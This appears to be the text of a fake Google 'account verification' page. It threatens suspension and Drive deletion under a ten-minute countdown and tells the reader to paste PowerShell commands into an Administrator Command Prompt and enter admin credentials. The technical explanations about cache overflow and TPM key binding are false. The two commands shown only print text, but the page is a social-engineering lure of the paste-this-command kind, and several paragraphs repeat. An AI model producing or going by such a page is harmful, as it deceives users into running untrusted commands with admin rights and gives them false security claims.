Google
For your safety and data protection, we recommend completing this verification within 10 minutes.
While this is not mandatory, if you do not complete verification in time, your account may be suspended and your Google Drive files could be deleted to prevent potential data corruption. This is a one-time recovery process to help secure your data.
While this is not mandatory, if you do not complete verification in time, your account may be suspended and your Google Drive files could be deleted to prevent potential data corruption. This is a one-time recovery process to help secure your data.
Recovery keys will only be available for 10 minutes. You must generate and bind them before the timer expires.
Time remaining:
10:00
Why is this happening?
Google Chrome has detected a compatibility issue with your internal Windows system that is causing your system cache to overflow. This is sending error signals to Google's servers and your account is being flagged for unusual activity.
How to fix this: Generate recovery keys using the scripts below. These keys will verify your account ownership and stop the suspension.
To open Administrator Command Prompt:
1. Press
+
X
to open the Power User menu.
2. Then press
A
to open Administrator Command Prompt.
Step 1 — Generate primary recovery keys
Paste this into Administrator Command Prompt:
powershell -Command "Write-Host 'Generating primary recovery keys...'; Start-Sleep 2; Write-Host 'Key 1: BK-'; Get-Random -Maximum 9999; Start-Sleep 1; Write-Host 'Key 2: RC-'; Get-Random -Maximum 9999; Write-Host 'Primary keys generated.'"
This generates BK-XXXX and RC-XXXX keys to verify your account with Google.
Step 2 — Bind keys to your system
Paste this into the same Administrator Command Prompt:
powershell -Command "Write-Host 'Binding keys to hardware ID...'; Start-Sleep 2; Write-Host 'Accessing TPM module...'; Start-Sleep 2; Write-Host 'Hardware ID verified.'; Start-Sleep 1; Write-Host 'Keys bound. Account verified.'"
This binds the keys to your system's hardware ID using TPM (Trusted Platform Module).
Admin credentials required
When you run Step 2, Windows will prompt you for admin credentials. This is required because the keys need SYSTEM-level privileges to access your hardware ID and TPM module. Without admin rights, the keys cannot be bound and Google will not recognize them.
When you run Step 2, Windows will prompt you for admin credentials. This is required because the keys need SYSTEM-level privileges to access your hardware ID and TPM module. Without admin rights, the keys cannot be bound and Google will not recognize them.
What happens next: Once bound, the keys will be sent to Google's servers for authentication. This verifies that your account is linked to this specific Windows system and confirms your identity. After successful verification, your account will be secured and the suspension will be cancelled.
Only click "Verify my account" after pasting both scripts in the Administrator Command Prompt and entering your admin credentials.
Once bound, the keys will be sent to Google's servers for authentication. This verifies that your account is linked to this specific Windows system and confirms your identity. After successful verification, your account will be secured and the suspension will be cancelled.
Once bound, the keys will be sent to Google's servers for authentication. This verifies that your account is linked to this specific Windows system and confirms your identity. After successful verification, your account will be secured and the suspension will be cancelled.
Recovery keys expire in 10:00